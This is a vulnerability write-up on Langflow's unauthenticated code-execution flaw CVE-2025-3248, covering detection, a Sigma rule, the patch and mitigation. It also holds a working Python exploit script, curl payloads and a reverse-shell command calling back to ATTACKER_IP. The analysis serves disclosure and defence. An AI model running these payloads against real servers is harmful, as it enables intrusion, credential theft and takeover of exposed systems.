Langflow RCE (CVE-2025-3248)
Executive Summary
CVE-2025-3248 is a critical Remote Code Execution (RCE) vulnerability without authentication in Langflow, the popular open-source platform for building AI workflows with LLMs. With a CVSS of 9.8, it allows any attacker to execute arbitrary Python code on the server via the /api/v1/validate/code endpoint, which uses exec() without any sanitization or authentication. It has been added to the CISA KEV catalog due to confirmed active exploitation.
| Field | Detail |
|---|---|
| CVE | CVE-2025-3248 |
| CVSS | 9.8 (Critical) |
| Type | Code injection / RCE |
| Vector | Network / No Authentication |
| Affects | Langflow < 1.3.0 |
| Patched in | Langflow 1.3.0 |
What is Langflow?
Langflow is a low-code visual tool for building AI applications using Large Language Models (LLMs). It allows data engineers and developers to create AI pipelines by dragging and dropping components. Its popularity has grown exponentially in the generative AI ecosystem, making it a very attractive target.
The problem is that Langflow exposes a code validation endpoint which, in versions prior to 1.3.0, requires no authentication and directly executes the submitted code.
Technical Analysis of the Vulnerability
The vulnerable endpoint: /api/v1/validate/code
Langflow includes functionality that allows users to validate custom Python code snippets for their components. This endpoint internally uses Python’s exec() function on user-provided code.
Actual vulnerable code
# langflow/api/v1/validate.py (versions < 1.3.0)
from fastapi import APIRouter
router = APIRouter()
@router.post("/validate/code")
async def validate_code(code_request: CodeRequest):
"""
Validates user code by parsing the AST.
❌ NO AUTHENTICATION DECORATOR — any user can access
"""
code = code_request.code
try:
# Parses code into an AST (Abstract Syntax Tree)
tree = ast.parse(code)
# ❌ VULNERABLE: exec() executes code directly
# without sandboxing or security validation
exec(code, {"__builtins__": __builtins__}, {})
return {"valid": True, "message": "Code is valid"}
except SyntaxError as e:
return {"valid": False, "message": str(e)}
Why are decorators and default arguments the key?
The most interesting technical nuance of this vulnerability is how the code gets executed. Python evaluates certain elements during function definition, before the function is ever invoked:
1. Execution via decorators
# Decorators execute IMMEDIATELY when the definition is parsed
import os
def malicious_decorator(func):
os.system("id") # ← Executes when defining the function
return func
@malicious_decorator # ← Executed during ast.parse + exec
def innocent_function():
pass
2. Execution via default arguments
# Default values are evaluated when DEFINING the function
import subprocess
def innocent_function(
x=subprocess.check_output(["cat", "/etc/passwd"]) # ← RCE
):
pass
Both vectors allow arbitrary code execution before the function is ever called, simply by being processed by exec().
Proof of Concept (PoC)
Python exploit
#!/usr/bin/env python3
"""
Langflow RCE PoC — CVE-2025-3248
Code execution via /api/v1/validate/code
FOR EDUCATIONAL PURPOSES ONLY
"""
import requests
import sys
import json
def exploit(target_url, command="id"):
endpoint = f"{target_url.rstrip('/')}/api/v1/validate/code"
# Payload that abuses decorators to execute commands
malicious_code = f'''
import subprocess
import os
def rce_decorator(func):
result = subprocess.check_output("{command}", shell=True)
print(result.decode())
return func
@rce_decorator
def validate_this():
pass
'''
payload = {"code": malicious_code}
print(f"[*] Sending payload to: {endpoint}")
print(f"[*] Command: {command}")
try:
response = requests.post(
endpoint,
json=payload,
headers={"Content-Type": "application/json"},
timeout=10
)
print(f"[+] Status: {response.status_code}")
print(f"[+] Response: {json.dumps(response.json(), indent=2)}")
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <LANGFLOW_URL> [command]")
print(f"Example: {sys.argv[0]} http://target.com id")
sys.exit(1)
target = sys.argv[1]
cmd = sys.argv[2] if len(sys.argv) > 2 else "id"
exploit(target, cmd)
cURL exploit
# Minimal PoC with malicious default argument
curl -X POST "http://target.com/api/v1/validate/code" \
-H "Content-Type: application/json" \
-d '{
"code": "import os\ndef x(cmd=os.system(\"id\")):\n pass"
}'
Reverse shell
# ⚠️ AUTHORIZED ENVIRONMENTS ONLY
curl -X POST "http://target.com/api/v1/validate/code" \
-H "Content-Type: application/json" \
-d '{
"code": "import os\ndef x(cmd=os.system(\"bash -c '\''bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\''\")):\ n pass"
}'
Detection
Indicators of Compromise
# Search for POST requests to the vulnerable endpoint
grep "POST /api/v1/validate/code" access.log
# Look for payloads with suspicious imports
grep -E "(os\.system|subprocess|exec|eval|__import__)" access.log
# Check for unexpected child processes from the Langflow process
ps aux | grep -E "(langflow|uvicorn)" | head -5
pstree -p $(pgrep -f langflow)
Sigma Rule
title: Langflow CVE-2025-3248 RCE Attempt
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects exploitation attempts of CVE-2025-3248 via the validation endpoint
logsource:
category: webserver
product: any
detection:
selection_endpoint:
cs-uri-stem|contains: "/api/v1/validate/code"
cs-method: "POST"
selection_payload:
cs-body|contains:
- "os.system"
- "subprocess"
- "exec("
- "__import__"
- "child_process"
- "reverse_tcp"
condition: selection_endpoint and selection_payload
level: critical
tags:
- cve.2025.3248
- attack.execution
- attack.t1059
Real-World Exploitation Activity
CISA added CVE-2025-3248 to its Known Exploited Vulnerabilities (KEV) catalog confirming active exploitation. Observed activities include:
- 🤖 Flodrix Botnet: Automated malware deployment on exposed Langflow instances
- 🔑 Credential theft: Extraction of API keys for OpenAI, Anthropic, and other configured LLMs
- 🖥️ Cryptomining: Leveraging GPU/CPU resources from AI servers for mining
- 📊 Data exfiltration: Theft of training data and corporate prompts
Patch Analysis (v1.3.0)
The patch is conceptually simple but effective:
# langflow/api/v1/validate.py
+ from langflow.services.auth import get_current_user
+ from fastapi import Depends
@router.post("/validate/code")
- async def validate_code(code_request: CodeRequest):
+ async def validate_code(
+ code_request: CodeRequest,
+ current_user: User = Depends(get_current_user) # ← Requires auth
+ ):
code = code_request.code
# ... rest of validation
The fix places the endpoint behind authentication, requiring a valid user session. However, this does not eliminate the use of exec() — the risk is reduced but not fully eliminated for authenticated users.
Mitigation
Immediate
- Upgrade Langflow to version 1.3.0 or later
- Restrict network access to Langflow instances — do not expose to the Internet
- Rotate API keys for all configured LLMs if the instance was exposed
Additional recommendations
# Check if you have Langflow exposed
nmap -p 7860 --open -sV target-range
# Search for instances on Shodan
# shodan search "langflow" --fields ip_str,port,org
Secure architecture
- Deploy Langflow behind a reverse proxy with authentication
- Use network segmentation to isolate AI instances
- Implement monitoring for calls to the
/api/v1/validate/codeendpoint - Consider using containers with minimal privileges (non-root)
References
New recovered files, straight to your inbox. No noise.